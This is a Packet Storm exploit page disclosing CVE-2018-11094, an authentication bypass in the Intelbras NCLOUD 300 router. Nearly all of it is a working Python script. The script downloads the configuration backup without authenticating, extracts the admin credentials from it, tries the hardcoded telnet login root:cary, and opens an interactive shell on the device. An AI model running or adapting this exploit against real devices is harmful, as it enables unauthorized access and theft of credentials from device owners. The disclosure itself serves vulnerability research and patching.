exploit the possibilities

Intelbras NCLOUD 300 1.0 Authentication Bypass

Intelbras NCLOUD 300 1.0 Authentication Bypass
Posted May 17, 2018
Authored by Pedro Aguiar

Intelbras NCLOUD 300 version 1.0 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2018-11094
MD5 | 388ac8e1c27e9c1b841bbf975ca1481a

Intelbras NCLOUD 300 1.0 Authentication Bypass

Change Mirror Download
# coding: utf-8
# Exploit Title: Intelbras NCloud Authentication bypass
# Date: 16/05/2018
# Exploit Author: Pedro Aguiar - pedro.aguiar@kryptus.com
# Vendor Homepage: http://www.intelbras.com.br/
# Software Link: http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/roteadores/ncloud
# Version: 1.0
# Tested on: Linux
# CVE : CVE-2018-11094
# Description: As described here: https://blog.kos-lab.com/Hello-World/ the Ncloud 300 device does not properly
# enforce authentication, allowing an attacker to remotely download the configurations backup ('/cgi-bin/ExportSettings.sh').
# The configurations backup file contains the web interface username and password.
# Also, there are hardcoded credentials in the telnet service (root:cary), in cases where root user does not exist,
# it was replaced by the web interface credentials. This exploit downloads the backup file and tries to use the credentials
# to log into the device using telnet.

import sys
import requests
import telnetlib
import re

def help():
print 'Usage: '
print 'python exploit.py http://192.168.0.1'

def pop_shell(host, user, password):
if(user == "root"):
print '[+] Trying default credentials: root:cary'
else:
print '[+] Trying credentials obtained from /cgi-bin/ExportSettings.sh'
with open('NCLOUD_config.dat', "r") as f:
content = f.read()
user = content.split("Login=")[1].split("\n")[0]
password = content.split("Password=")[1].split("\n")[0]
#print 'User: '+ user
#print 'Password: '+ password
f.close()
try:
ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', host)[0]
tn = telnetlib.Telnet(ip, 23, timeout=10)
tn.expect(["WORKGROUP login:"], 5)
tn.write(user + "\r\n")
tn.expect(["Password:"], 5)
tn.write(password + "\r\n")
i = tn.expect(["Login incorrect"], 5)
if i[0] != -1:
raise ValueError('[-] Wrong credential')
tn.write("cat /proc/cpuinfo\r\n")
tn.interact()

tn.close()
except Exception as e:
print e
if(user == "root"):
pop_shell(host, 'try', 'again')

def exploit(host):
print '[*] Connecting to %s' %host
path = '/cgi-bin/ExportSettings.sh'
payload = 'Export=Salvar'

response = requests.post(host + path, data=payload)
response.raise_for_status()

if(response.status_code == 200 and "Login=" in response.text):
print '[+] Config download was successful'
print '[+] Saving backup file to NCLOUD_config.dat'
with open('NCLOUD_config.dat', "w") as f:
f.write(response.text)
f.close()
pop_shell(host, "root", "cary")
def main():
if len(sys.argv) < 2 or not sys.argv[1].startswith('http://'):
help()
return
host = sys.argv[1]
exploit(host)

if __name__ == '__main__':
main()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    31 Files
  • 15
    Feb 15th
    10 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close